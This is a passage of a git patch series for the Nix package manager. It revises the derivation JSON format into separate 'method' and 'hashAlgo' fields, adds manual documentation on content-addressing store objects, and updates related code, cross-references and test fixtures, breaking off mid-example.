.../src/language/advanced-attributes.md | 45 ++++--- doc/manual/src/protocols/json/derivation.md | 27 +++- doc/manual/src/protocols/store-path.md | 25 ++-- .../file-system-object/content-address.md | 9 +- .../src/store/store-object/content-address.md | 123 ++++++++++++++++++ src/libcmd/misc-store-flags.cc | 12 +- src/libstore/derivations.cc | 24 ++-- src/nix/flake.md | 10 +- src/nix/nar-cat.md | 3 +- src/nix/nar-dump-path.md | 6 +- src/nix/nar-ls.md | 6 +- src/nix/nar.md | 9 +- src/nix/store-dump-path.md | 4 +- src/nix/verify.md | 2 + .../data/derivation/output-caFixedFlat.json | 1 + .../data/derivation/output-caFixedNAR.json | 3 +- .../data/derivation/output-caFixedText.json | 3 +- .../data/derivation/output-caFloating.json | 3 +- .../data/derivation/output-impure.json | 5 +- 21 files changed, 268 insertions(+), 65 deletions(-) create mode 100644 doc/manual/rl-next/derivation-json-change.md create mode 100644 doc/manual/src/store/store-object/content-address.md diff --git a/doc/manual/rl-next/derivation-json-change.md b/doc/manual/rl-next/derivation-json-change.md new file mode 100644 index 000000000..2a1d40e83 --- /dev/null +++ b/doc/manual/rl-next/derivation-json-change.md @@ -0,0 +1,12 @@ +--- +synopsis: Modify `nix derivation {add,show}` JSON format +issues: 9866 +prs: 10722 +--- + +The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json). +In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`, +rather than one field with an arcane `:`-separated format. + +This JSON format is only used by the experimental `nix derivation` family of commands, at this time. +Future revisions are expected as the JSON format is still not entirely in compliance even after these changes. diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index d1c0ad12a..52e6354c6 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -20,6 +20,7 @@ - [File System Object](store/file-system-object.md) - [Content-Addressing File System Objects](store/file-system-object/content-address.md) - [Store Object](store/store-object.md) + - [Content-Addressing Store Objects](store/store-object/content-address.md) - [Store Path](store/store-path.md) - [Store Types](store/types/index.md) {{#include ./store/types/SUMMARY.md}} diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 3b8e48554..113062db1 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -197,37 +197,40 @@ Derivations can declare some infrequently used optional attributes. `outputHashAlgo` can only be `null` when `outputHash` follows the SRI format. The `outputHashMode` attribute determines how the hash is computed. - It must be one of the following two values: + It must be one of the following values: - - - - `"flat"` - - The output must be a non-executable regular file; if it isn’t, the build fails. - The hash is - [simply computed over the contents of that file](@docroot@/store/file-system-object/content-address.md#serial-flat) - (so it’s equal to what Unix commands like `sha256sum` or `sha1sum` produce). + - [`"flat"`](@docroot@/store/store-object/content-address.md#method-flat) This is the default. - - `"recursive"` or `"nar"` + - [`"recursive"` or `"nar"`](@docroot@/store/store-object/content-address.md#method-nix-archive) - The hash is computed over the - [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) - dump of the output (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)). - In this case, the output is allowed to be any [file system object], including directories and more. + > **Compatibility** + > + > `"recursive"` is the traditional way of indicating this, + > and is supported since 2005 (virtually the entire history of Nix). + > `"nar"` is more clear, and consistent with other parts of Nix (such as the CLI), + > however support for it is only added in Nix version 2.21. - `"recursive"` is the traditional way of indicating this, - and is supported since 2005 (virtually the entire history of Nix). - `"nar"` is more clear, and consistent with other parts of Nix (such as the CLI), - however support for it is only added in Nix version 2.21. + - [`"text"`](@docroot@/store/store-object/content-address.md#method-text) + + > **Warning** + > + > The use of this method for derivation outputs is part of the [`dynamic-derivations`][xp-feature-dynamic-derivations] experimental feature. + + - [`"git"`](@docroot@/store/store-object/content-address.md#method-git) + + > **Warning** + > + > This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature. - [`__contentAddressed`]{#adv-attr-__contentAddressed} + > **Warning** > This attribute is part of an [experimental feature](@docroot@/contributing/experimental-features.md). > > To use this attribute, you must enable the - > [`ca-derivations`](@docroot@/contributing/experimental-features.md#xp-feature-ca-derivations) experimental feature. + > [`ca-derivations`][xp-feature-ca-derivations] experimental feature. > For example, in [nix.conf](../command-ref/conf-file.md) you could add: > > ``` @@ -359,3 +362,7 @@ Derivations can declare some infrequently used optional attributes. ``` ensures that the derivation can only be built on a machine with the `kvm` feature. + +[xp-feature-ca-derivations]: @docroot@/contributing/experimental-features.md#xp-feature-ca-derivations +[xp-feature-dynamic-derivations]: @docroot@/contributing/experimental-features.md#xp-feature-dynamic-derivations +[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/protocols/json/derivation.md b/doc/manual/src/protocols/json/derivation.md index 649d543cc..f881dd703 100644 --- a/doc/manual/src/protocols/json/derivation.md +++ b/doc/manual/src/protocols/json/derivation.md @@ -18,10 +18,30 @@ is a JSON object with the following fields: Information about the output paths of the derivation. This is a JSON object with one member per output, where the key is the output name and the value is a JSON object with these fields: - * `path`: The output path. + * `path`: + The output path, if it is known in advanced. + Otherwise, `null`. + + + * `method`: + For an output which will be [content addresed], a string representing the [method](@docroot@/store/store-object/content-address.md) of content addressing that is chosen. + Valid method strings are: + + - [`flat`](@docroot@/store/store-object/content-address.md#method-flat) + - [`nar`](@docroot@/store/store-object/content-address.md#method-nix-archive) + - [`text`](@docroot@/store/store-object/content-address.md#method-text) + - [`git`](@docroot@/store/store-object/content-address.md#method-git) + + Otherwise, `null`. * `hashAlgo`: - For fixed-output derivations, the hashing algorithm (e.g. `sha256`), optionally prefixed by `r:` if `hash` denotes a NAR hash rather than a flat file hash. + For an output which will be [content addresed], the name of the hash algorithm used. + Valid algorithm strings are: + + - `md5` + - `sha1` + - `sha256` + - `sha512` * `hash`: For fixed-output derivations, the expected content hash in base-16. @@ -32,7 +52,8 @@ is a JSON object with the following fields: > "outputs": { > "out": { > "path": "/nix/store/2543j7c6jn75blc3drf4g5vhb1rhdq29-source", - > "hashAlgo": "r:sha256", + > "method": "nar", + > "hashAlgo": "sha256", > "hash": "6fc80dcc62179dbc12fc0b5881275898f93444833d21b89dfe5f7fbcbb1d0d62" > } > } diff --git a/doc/manual/src/protocols/store-path.md b/doc/manual/src/protocols/store-path.md index 657774238..52352d358 100644 --- a/doc/manual/src/protocols/store-path.md +++ b/doc/manual/src/protocols/store-path.md @@ -36,18 +36,23 @@ where - `type` = one of: - ```ebnf - | "text" ( ":" store-path )* + | "text" { ":" store-path } ``` - for encoded derivations written to the store. + This is for the + ["Text"](@docroot@/store/store-object/content-address.md#method-text) + method of content addressing store objects. The optional trailing store paths are the references of the store object. - ```ebnf - | "source" ( ":" store-path )* + | "source" { ":" store-path } [ ":self" ] ``` - For paths copied to the store and hashed via a [Nix Archive (NAR)] and [SHA-256][sha-256]. - Just like in the text case, we can have the store objects referenced by their paths. + This is for the + ["Nix Archive"](@docroot@/store/store-object/content-address.md#method-nix-archive) + method of content addressing store objects, + if the hash algorithm is [SHA-256]. + Just like in the "Text" case, we can have the store objects referenced by their paths. Additionally, we can have an optional `:self` label to denote self reference. - ```ebnf @@ -55,8 +60,12 @@ where ``` For either the outputs built from derivations, - paths copied to the store hashed that area single file hashed directly, or the via a hash algorithm other than [SHA-256][sha-256]. - (in that case "source" is used; this is only necessary for compatibility). + or content-addressed store objects that are not using one of the two above cases. + To be explicit about the latter, that is currently these methods: + + - ["Flat"](@docroot@/store/store-object/content-address.md#method-flat) + - ["Git"](@docroot@/store/store-object/content-address.md#method-git) + - ["Nix Archive"](@docroot@/store/store-object/content-address.md#method-nix-archive) if the hash algorithm is not [SHA-256]. `id` is the name of the output (usually, "out"). For content-addressed store objects, `id`, is always "out". @@ -116,7 +125,7 @@ where Also note that NAR + SHA-256 must not use this case, and instead must use the `type` = `"source:" ...` case. [Nix Archive (NAR)]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive -[sha-256]: https://en.m.wikipedia.org/wiki/SHA-256 +[SHA-256]: https://en.m.wikipedia.org/wiki/SHA-256 ### Historical Note diff --git a/doc/manual/src/store/file-system-object/content-address.md b/doc/manual/src/store/file-system-object/content-address.md index fc5be8c67..1c63c52eb 100644 --- a/doc/manual/src/store/file-system-object/content-address.md +++ b/doc/manual/src/store/file-system-object/content-address.md @@ -1,7 +1,9 @@ # Content-Addressing File System Objects For many operations, Nix needs to calculate [a content addresses](@docroot@/glossary.md#gloss-content-address) of [a file system object][file system object]. -Usually this is needed as part of content addressing [store objects], since store objects always have a root file system object. +Usually this is needed as part of +[content addressing store objects](../store-object/content-address.md), +since store objects always have a root file system object. But some command-line utilities also just work on "raw" file system objects, not part of any store object. Every content addressing scheme Nix uses ultimately involves feeding data into a [hash function](https://en.wikipedia.org/wiki/Hash_function), and getting back an opaque fixed-size digest which is deemed a content address. @@ -18,6 +20,9 @@ A single file object can just be hashed by its contents. This is not enough information to encode the fact that the file system object is a file, but if we *already* know that the FSO is a single non-executable file by other means, it is sufficient. +Because the hashed data is just the raw file, as is, this choice is good for compatibility with other systems. +For example, Unix commands like `sha256sum` or `sha1sum` will produce hashes for single files that match this. + ### Nix Archive (NAR) { #serial-nix-archive } For the other cases of [file system objects][file system object], especially directories with arbitrary descendents, we need a more complex serialisation format. @@ -69,7 +74,7 @@ every non-directory object is owned by a parent directory, and the entry that re However, if the root object is not a directory, then we have no way of knowing which one of an executable file, non-executable file, or symlink it is supposed to be. In response to this, we have decided to treat a bare file as non-executable file. -This is similar to do what we do with [flat serialisation](#flat), which also lacks this information. +This is similar to do what we do with [flat serialisation](#serial-flat), which also lacks this information. To avoid an address collision, attempts to hash a bare executable file or symlink will result in an error (just as would happen for flat serialisation also). Thus, Git can encode some, but not all of Nix's "File System Objects", and this sort of content-addressing is likewise partial. diff --git a/doc/manual/src/store/store-object/content-address.md b/doc/manual/src/store/store-object/content-address.md new file mode 100644 index 000000000..e9f085ad5 --- /dev/null +++ b/doc/manual/src/store/store-object/content-address.md @@ -0,0 +1,123 @@ +# Content-Addressing Store Objects + +Just [like][fso-ca] [File System Objects][File System Object], +[Store Objects][Store Object] can also be [content-addressed](@docroot@/glossary.md#gloss-content-addressed), +unless they are [input-addressed](@docroot@/glossary.md#gloss-input-addressed-store-object). + +For store objects, the content address we produce will take the form of a [Store Path] rather than regular hash. +In particular, the content-addressing scheme will ensure that the digest of the store path is solely computed from the + +- file system object graph (the root one and its children, if it has any) +- references +- [store directory](../store-path.md#store-directory) +- name + +of the store object, and not any other information, which would not be an intrinsic property of that store object. + +For the full specification of the algorithms involved, see the [specification of store path digests][sp-spec]. + +[File System Object]: ../file-system-object.md +[Store Object]: ../store-object.md +[Store Path]: ../store-path.md + +## Content addressing each part of a store object + +### File System Objects + +With all currently supported store object content addressing methods, the file system object is always [content-addressed][fso-ca] first, and then that hash is incorporated into content address computation for the store object. + +### References + +With all currently supported store object content addressing methods, +other objects are referred to by their regular (string-encoded-) [store paths][Store Path]. + +Self-references however cannot be referred to by their path, because we are in the midst of describing how to compute that path! + +> The alternative would require finding as hash function fixed point, i.e. the solution to an equation in the form +> ``` +> digest = hash(..... || digest || ....) +> ``` +> which is computationally infeasible. +> As far as we know, this is equivalent to finding a hash collision. + +Instead we just have a "has self reference" boolean, which will end up affecting the digest. + +### Name and Store Directory + +These two items affect the digest in a way that is standard for store path digest computations and not specific to content-addressing. +Consult the [specification of store path digests][sp-spec] for further details. + +## Content addressing Methods + +For historical reasons, we don't support all features in all combinations. +Each currently supported method of content addressing chooses a single method of file system object hashing, and may offer some restrictions on references. +The names and store directories are unrestricted however. + +### Flat { #method-flat } + +This uses the corresponding [Flat](../file-system-object/content-address.md#serial-flat) method of file system object content addressing. + +References are not supported: store objects with flat hashing *and* references can not be created. + +### Text { #method-text } + +This also uses the corresponding [Flat](../file-system-object/content-address.md#serial-flat) method of file system object content addressing. + +References to other store objects are supported, but self references are not. + +This is the only store-object content-addressing method that is not named identically with a corresponding file system object method. +It is somewhat obscure, mainly used for "drv files" +(derivations serialized as store objects in their ["ATerm" file format](@docroot@/protocols/derivation-aterm.md)). +Prefer another method if possible. + +### Nix Archive { #method-nix-archive } + +This uses the corresponding [Nix Archive](../file-system-object/content-address.md#serial-nix-archive) method of file system object content addressing. + +References (to other store objects and self references alike) are supported so long as the hash algorithm is SHA-256, but not (neither kind) otherwise. + +### Git { #method-git } + +> **Warning** +> +> This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature. + +This uses the corresponding [Git](../file-system-object/content-address.md#serial-git) method of file system object content addressing. + +References are not supported. + +Only SHA-1 is supported at this time. +If [SHA-256-based Git](https://git-scm.com/docs/hash-function-transition) +becomes more widespread, this restriction will be revisited. + +### Reproducibility + +The above system is more complex than it needs to be to support all types of file system objects and references, owing to accretion of features over time. +However, there's a lot of value in supporting old expressions and reproducing the same hashes with any version of Nix. +Still, the fundamental property remains that if one knows how a store object is supposed to be hashed +--- all the non-Hash, non-references information above +--- one can recompute a store object's store path just from that metadata and its content proper (its references and file system objects). +Collectively, we can call this information the "content address method". + +By storing the "Content address method" extra information as part of store object +--- making it data not metadata +--- we achieve the key property of making content-addressed store objects *trustless*. + +What this is means is that they are just plain old data, not containing any "claim" that could be false. +All this information is free to vary, and if any of it varies one gets (ignoring the possibility of hash collisions, as usual) a different store path. +Store paths referring to content-addressed store objects uniquely identify a store object, and given that object, one can recompute the store path. +Any content-addressed store object purporting to be the referee of a store object can be readily verified to see whether it in fact does without any extra information. +No other party claiming a store object corresponds to a store path need be trusted because this verification can be done instead. + +Content addressing currently is used when adding data like source code to the store. +Such data are "basal inputs", not produced from any other derivation (to our knowledge). +Content addressing is thus the only way to address them of our two options. +([Input addressing](@docroot@/glossary.md#gloss-input-addressed-store-object), is only valid for store paths produced from derivations.) + +Additionally, content addressing is also used for the outputs of certain sorts of derivations. +It is very nice to be able to uniformly content-address all data rather than rely on a mix of content addressing and input addressing. +This however, is in some cases still experimental, so in practice input addressing is still (as of 2022) widely used. + +[fso-ca]: ../file-system-object/content-address.md +[sp-spec]: @docroot@/protocols/store-path.md +[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing diff --git a/src/libcmd/misc-store-flags.cc b/src/libcmd/misc-store-flags.cc index 063a9dd9e..06552c032 100644 --- a/src/libcmd/misc-store-flags.cc +++ b/src/libcmd/misc-store-flags.cc @@ -103,27 +103,27 @@ Args::Flag contentAddressMethod(ContentAddressMethod * method) return Args::Flag { .longName = "mode", // FIXME indentation carefully made for context, this is messed up. - /* FIXME link to store object content-addressing not file system - object content addressing once we have that page. */ .description = R"( How to compute the content-address of the store object. One of: - - `nar` (the default): + - [`nar`](@docroot@/store/store-object/content-address.md#method-nix-archive) + (the default): Serialises the input as a [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) and passes that to the hash function. - - `flat`: + - [`flat`](@docroot@/store/store-object/content-address.md#method-flat): Assumes that the input is a single file and [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat) it to the hash function. - - `text`: Like `flat`, but used for + - [`text`](@docroot@/store/store-object/content-address.md#method-text): + Like `flat`, but used for [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and [`builtins.toFile`](@docroot@/language/builtins.html#builtins-toFile). For advanced use-cases only; - for regular usage prefer `nar` and `flat. + for regular usage prefer `nar` and `flat`. )", .labels = {"content-address-method"}, .handler = {[method](std::string s) { diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index fcf813a37..e13705911 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -1216,16 +1216,19 @@ nlohmann::json DerivationOutput::toJSON( }, [&](const DerivationOutput::CAFixed & dof) { res["path"] = store.printStorePath(dof.path(store, drvName, outputName)); - res["hashAlgo"] = dof.ca.printMethodAlgo(); + res["method"] = std::string { dof.ca.method.render() }; + res["hashAlgo"] = printHashAlgo(dof.ca.hash.algo); res["hash"] = dof.ca.hash.to_string(HashFormat::Base16, false); // FIXME print refs? }, [&](const DerivationOutput::CAFloating & dof) { - res["hashAlgo"] = std::string { dof.method.renderPrefix() } + printHashAlgo(dof.hashAlgo); + res["method"] = std::string { dof.method.render() }; + res["hashAlgo"] = printHashAlgo(dof.hashAlgo); }, [&](const DerivationOutput::Deferred &) {}, [&](const DerivationOutput::Impure & doi) { - res["hashAlgo"] = std::string { doi.method.renderPrefix() } + printHashAlgo(doi.hashAlgo); + res["method"] = std::string { doi.method.render() }; + res["hashAlgo"] = printHashAlgo(doi.hashAlgo); res["impure"] = true; }, }, raw); @@ -1245,12 +1248,13 @@ DerivationOutput DerivationOutput::fromJSON( keys.insert(key); auto methodAlgo = [&]() -> std::pair { - auto & str = getString(valueAt(json, "hashAlgo")); - std::string_view s = str; - ContentAddressMethod method = ContentAddressMethod::parsePrefix(s); + auto & method_ = getString(valueAt(json, "method")); + ContentAddressMethod method = ContentAddressMethod::parse(method_); if (method == TextIngestionMethod {}) xpSettings.require(Xp::DynamicDerivations); - auto hashAlgo = parseHashAlgo(s); + + auto & hashAlgo_ = getString(valueAt(json, "hashAlgo")); + auto hashAlgo = parseHashAlgo(hashAlgo_); return { std::move(method), std::move(hashAlgo) }; }; @@ -1260,7 +1264,7 @@ DerivationOutput DerivationOutput::fromJSON( }; } - else if (keys == (std::set { "path", "hashAlgo", "hash" })) { + else if (keys == (std::set { "path", "method", "hashAlgo", "hash" })) { auto [method, hashAlgo] = methodAlgo(); auto dof = DerivationOutput::CAFixed { .ca = ContentAddress { @@ -1273,7 +1277,7 @@ DerivationOutput DerivationOutput::fromJSON( return dof; } - else if (keys == (std::set { "hashAlgo" })) { + else if (keys == (std::set { "method", "hashAlgo" })) { xpSettings.require(Xp::CaDerivations); auto [method, hashAlgo] = methodAlgo(); return DerivationOutput::CAFloating { @@ -1286,7 +1290,7 @@ DerivationOutput DerivationOutput::fromJSON( return DerivationOutput::Deferred {}; } - else if (keys == (std::set { "hashAlgo", "impure" })) { + else if (keys == (std::set { "method", "hashAlgo", "impure" })) { xpSettings.require(Xp::ImpureDerivations); auto [method, hashAlgo] = methodAlgo(); return DerivationOutput::Impure { diff --git a/src/nix/flake.md b/src/nix/flake.md index 661dd2f73..2f43d0264 100644 --- a/src/nix/flake.md +++ b/src/nix/flake.md @@ -134,7 +134,9 @@ The following generic flake reference attributes are supported: repository or tarball. The default is the root directory of the flake. -* `narHash`: The hash of the NAR serialisation (in SRI format) of the +* `narHash`: The hash of the + [Nix Archive (NAR) serialisation][Nix Archive] + (in SRI format) of the contents of the flake. This is useful for flake types such as tarballs that lack a unique content identifier such as a Git commit hash. @@ -423,8 +425,9 @@ The following attributes are supported in `flake.nix`: * `lastModified`: The commit time of the revision `rev` as an integer denoting the number of seconds since 1970. - * `narHash`: The SHA-256 (in SRI format) of the NAR serialization of - the flake's source tree. + * `narHash`: The SHA-256 (in SRI format) of the + [Nix Archive (NAR) serialisation][Nix Archive] + NAR serialization of the flake's source tree. The value returned by the `outputs` function must be an attribute set. The attributes can have arbitrary values; however, various @@ -703,4 +706,5 @@ will not look at the lock files of dependencies. However, lock file generation itself *does* use the lock files of dependencies by default. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/nar-cat.md b/src/nix/nar-cat.md index 55c481a28..1131eb2bf 100644 --- a/src/nix/nar-cat.md +++ b/src/nix/nar-cat.md @@ -2,7 +2,7 @@ R""( # Examples -* List a file in a NAR and pipe it through `gunzip`: +* List a file in a [Nix Archive (NAR)][Nix Archive] and pipe it through `gunzip`: ```console # nix nar cat ./hello.nar /share/man/man1/hello.1.gz | gunzip @@ -16,4 +16,5 @@ R""( This command prints on standard output the contents of the regular file *path* inside the NAR file *nar*. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/nar-dump-path.md b/src/nix/nar-dump-path.md index de82202de..4676e4fef 100644 --- a/src/nix/nar-dump-path.md +++ b/src/nix/nar-dump-path.md @@ -2,7 +2,7 @@ R""( # Examples -* To serialise directory `foo` as a NAR: +* To serialise directory `foo` as a [Nix Archive (NAR)][Nix Archive]: ```console # nix nar pack ./foo > foo.nar @@ -10,8 +10,10 @@ R""( # Description -This command generates a NAR file containing the serialisation of +This command generates a [Nix Archive (NAR)][Nix Archive] file containing the serialisation of *path*, which must contain only regular files, directories and symbolic links. The NAR is written to standard output. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + )"" diff --git a/src/nix/nar-ls.md b/src/nix/nar-ls.md index 5a03c5d82..27c4b97e6 100644 --- a/src/nix/nar-ls.md +++ b/src/nix/nar-ls.md @@ -2,7 +2,7 @@ R""( # Examples -* To list a specific file in a NAR: +* To list a specific file in a [NAR][Nix Archive]: ```console # nix nar ls --long ./hello.nar /bin/hello @@ -19,6 +19,8 @@ R""( # Description -This command shows information about a *path* inside NAR file *nar*. +This command shows information about a *path* inside [Nix Archive (NAR)][Nix Archive] file *nar*. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/nar.md b/src/nix/nar.md index a83b5c764..b0f70ce93 100644 --- a/src/nix/nar.md +++ b/src/nix/nar.md @@ -3,11 +3,14 @@ R""( # Description `nix nar` provides several subcommands for creating and inspecting -*Nix Archives* (NARs). +[*Nix Archives* (NARs)][Nix Archive]. # File format -For the definition of the NAR file format, see Figure 5.2 in -https://edolstra.github.io/pubs/phd-thesis.pdf. +For the definition of the Nix Archive file format, see +[within the protocols chapter](@docroot@/protocols/nix-archive.md) +of the manual. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/store-dump-path.md b/src/nix/store-dump-path.md index 56e2174b6..21467ff32 100644 --- a/src/nix/store-dump-path.md +++ b/src/nix/store-dump-path.md @@ -17,7 +17,9 @@ R""( # Description -This command generates a NAR file containing the serialisation of the +This command generates a [Nix Archive (NAR)][Nix Archive] file containing the serialisation of the store path [*installable*](./nix.md#installables). The NAR is written to standard output. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + )"" diff --git a/src/nix/verify.md b/src/nix/verify.md index e1d55eab4..ae0b0acd6 100644 --- a/src/nix/verify.md +++ b/src/nix/verify.md @@ -46,4 +46,6 @@ The exit status of this command is the sum of the following values: * **4** if any path couldn't be verified for any other reason (such as an I/O error). +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + )"" diff --git a/tests/unit/libstore/data/derivation/output-caFixedFlat.json b/tests/unit/libstore/data/derivation/output-caFixedFlat.json index fe000ea36..7001ea0a9 100644 --- a/tests/unit/libstore/data/derivation/output-caFixedFlat.json +++ b/tests/unit/libstore/data/derivation/output-caFixedFlat.json @@ -1,5 +1,6 @@ { "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f", "hashAlgo": "sha256", + "method": "flat", "path": "/nix/store/rhcg9h16sqvlbpsa6dqm57sbr2al6nzg-drv-name-output-name" } diff --git a/tests/unit/libstore/data/derivation/output-caFixedNAR.json b/tests/unit/libstore/data/derivation/output-caFixedNAR.json index 1afd60223..54eb306e6 100644 --- a/tests/unit/libstore/data/derivation/output-caFixedNAR.json +++ b/tests/unit/libstore/data/derivation/output-caFixedNAR.json @@ -1,5 +1,6 @@ { "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f", - "hashAlgo": "r:sha256", + "hashAlgo": "sha256", + "method": "nar", "path": "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-drv-name-output-name" } diff --git a/tests/unit/libstore/data/derivation/output-caFixedText.json b/tests/unit/libstore/data/derivation/output-caFixedText.json index 0b2cc8bbc..e8a651860 100644 --- a/tests/unit/libstore/data/derivation/output-caFixedText.json +++ b/tests/unit/libstore/data/derivation/output-caFixedText.json @@ -1,5 +1,6 @@ { "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f", - "hashAlgo": "text:sha256", + "hashAlgo": "sha256", + "method": "text", "path": "/nix/store/6s1zwabh956jvhv4w9xcdb5jiyanyxg1-drv-name-output-name" } diff --git a/tests/unit/libstore/data/derivation/output-caFloating.json b/tests/unit/libstore/data/derivation/output-caFloating.json index 9115de851..8b9b5f681 100644 --- a/tests/unit/libstore/data/derivation/output-caFloating.json +++ b/tests/unit/libstore/data/derivation/output-caFloating.json @@ -1,3 +1,4 @@ { - "hashAlgo": "r:sha256" + "hashAlgo": "sha256", + "method": "nar" } diff --git a/tests/unit/libstore/data/derivation/output-impure.json b/tests/unit/libstore/data/derivation/output-impure.json index 62b61cdca..bec03702b 100644 --- a/tests/unit/libstore/data/derivation/output-impure.json +++ b/tests/unit/libstore/data/derivation/output-impure.json @@ -1,4 +1,5 @@ { - "hashAlgo": "r:sha256", - "impure": true + "hashAlgo": "sha256", + "impure": true, + "method": "nar" } From 4c91bc543c06cc3cd34b76f13f2e40005735539c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 20 May 2024 09:04:15 -0400 Subject: [PATCH 0629/1251] Remove store object content address reproducibility section --- .../src/store/store-object/content-address.md | 28 ------------------- 1 file changed, 28 deletions(-) diff --git a/doc/manual/src/store/store-object/content-address.md b/doc/manual/src/store/store-object/content-address.md index e9f085ad5..f6f982035 100644 --- a/doc/manual/src/store/store-object/content-address.md +++ b/doc/manual/src/store/store-object/content-address.md @@ -90,34 +90,6 @@ Only SHA-1 is supported at this time. If [SHA-256-based Git](https://git-scm.com/docs/hash-function-transition) becomes more widespread, this restriction will be revisited. -### Reproducibility - -The above system is more complex than it needs to be to support all types of file system objects and references, owing to accretion of features over time. -However, there's a lot of value in supporting old expressions and reproducing the same hashes with any version of Nix. -Still, the fundamental property remains that if one knows how a store object is supposed to be hashed ---- all the non-Hash, non-references information above ---- one can recompute a store object's store path just from that metadata and its content proper (its references and file system objects). -Collectively, we can call this information the "content address method". - -By storing the "Content address method" extra information as part of store object ---- making it data not metadata ---- we achieve the key property of making content-addressed store objects *trustless*. - -What this is means is that they are just plain old data, not containing any "claim" that could be false. -All this information is free to vary, and if any of it varies one gets (ignoring the possibility of hash collisions, as usual) a different store path. -Store paths referring to content-addressed store objects uniquely identify a store object, and given that object, one can recompute the store path. -Any content-addressed store object purporting to be the referee of a store object can be readily verified to see whether it in fact does without any extra information. -No other party claiming a store object corresponds to a store path need be trusted because this verification can be done instead. - -Content addressing currently is used when adding data like source code to the store. -Such data are "basal inputs", not produced from any other derivation (to our knowledge). -Content addressing is thus the only way to address them of our two options. -([Input addressing](@docroot@/glossary.md#gloss-input-addressed-store-object), is only valid for store paths produced from derivations.) - -Additionally, content addressing is also used for the outputs of certain sorts of derivations. -It is very nice to be able to uniformly content-address all data rather than rely on a mix of content addressing and input addressing. -This however, is in some cases still experimental, so in practice input addressing is still (as of 2022) widely used. - [fso-ca]: ../file-system-object/content-address.md [sp-spec]: @docroot@/protocols/store-path.md [xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing From fc14378ae34a8c8474d77cfcacb35e5fc35a1fda Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 20 May 2024 22:39:34 +0200 Subject: [PATCH 0630/1251] add cross-references for discoverability (#10714) --- doc/manual/src/command-ref/nix-store/dump.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/doc/manual/src/command-ref/nix-store/dump.md b/doc/manual/src/command-ref/nix-store/dump.md index b1066fd4c..3de0e27b0 100644 --- a/doc/manual/src/command-ref/nix-store/dump.md +++ b/doc/manual/src/command-ref/nix-store/dump.md @@ -8,7 +8,7 @@ ## Description -The operation `--dump` produces a [NAR (Nix ARchive)][Nix Archive] file containing the +The operation `--dump` produces a [Nix archive](@docroot@/glossary.md#gloss-nar) (NAR) file containing the contents of the file system tree rooted at *path*. The archive is written to standard output. @@ -30,8 +30,7 @@ NAR archives support filenames of unlimited length and 64-bit file sizes. They can contain regular files, directories, and symbolic links, but not other types of files (such as device nodes). -A Nix archive can be unpacked using `nix-store ---restore`. +A Nix archive can be unpacked using [`nix-store --restore`](@docroot@/command-ref/nix-store/restore.md). [Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive From 40b7fb4f1156195043856b24ab2341f4957b27d6 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 20 May 2024 22:45:45 +0200 Subject: [PATCH 0631/1251] expand example on `nix-copy-closure` (#10708) * expand example on nix-copy-closure Co-authored-by: Robert Hensing --- .../src/command-ref/nix-copy-closure.md | 37 ++++++++++++------- 1 file changed, 24 insertions(+), 13 deletions(-) diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md index 46d381f5d..3c62191f1 100644 --- a/doc/manual/src/command-ref/nix-copy-closure.md +++ b/doc/manual/src/command-ref/nix-copy-closure.md @@ -75,17 +75,28 @@ authentication, you can avoid typing the passphrase with `ssh-agent`. # Examples -Copy Firefox with all its dependencies to a remote machine: +> **Example** +> +> Copy GNU Hello with all its dependencies to a remote machine: +> +> ```shell-session +> $ storePath="$(nix-build '' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)" +> $ nix-copy-closure --to alice@itchy.example.org "$storePath" +> copying 5 paths... +> copying path '/nix/store/nrwkk6ak3rgkrxbqhsscb01jpzmslf2r-xgcc-13.2.0-libgcc' to 'ssh://alice@itchy.example.org'... +> copying path 